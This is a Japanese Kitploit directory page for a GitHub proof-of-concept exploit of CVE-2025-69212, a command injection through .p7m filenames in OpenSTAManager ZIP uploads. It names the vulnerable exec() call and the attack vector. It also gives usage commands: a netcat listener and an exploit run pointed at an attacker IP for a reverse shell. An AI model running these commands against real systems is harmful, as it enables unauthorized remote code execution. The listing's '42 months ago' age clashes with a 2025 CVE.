Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-69212-PoC — CVE-2025-69212の概念実証エクスプロイト：OpenSTAManager <= 2.9.8における、ZIPアップロード時の悪意のある.p7mファイル名を介したOSコマンドインジェクションにより、リモートコード実行が可能になります。 | Kitploit
ツール/GitHubGitHub/tohib09/cve-2025-69212-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド＆コントロール
GitHubtohib09/cve-2025-69212-poc

CVE-2025-69212-PoC

CVE-2025-69212の概念実証エクスプロイト：OpenSTAManager <= 2.9.8における、ZIPアップロード時の悪意のある.p7mファイル名を介したOSコマンドインジェクションにより、リモートコード実行が可能になります。

リポジトリを見る
42ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-69212 — OpenSTAManager P7M コマンドインジェクション PoC

OpenSTAManager <= 2.9.8 — ZIPアップロードにおける悪意のある.p7mファイル名を介したOSコマンドインジェクション

ファイル: src/Util/XML.php:100 — 未サニタイズの$fileがexec()内に
ベクター: /plugins/importFE_ZIP/actions.php → ZIP → .p7mファイル名 → exec("openssl smime ... -in \"$file\" ...")

使用方法

root@kitploit:~
# Listener
nc -lvnp 4444

# Exploit
python3 CVE-2025-69212.py http://target.htb YOUR_PHPSESSID 10.10.14.X 4444

参照

  • https://github.com/advisories/GHSA-25fp-8w8p-mx36
  • https://nvd.nist.gov/vuln/detail/CVE-2025-69212

CVE-2025-69212-PoC

ツールをダウンロード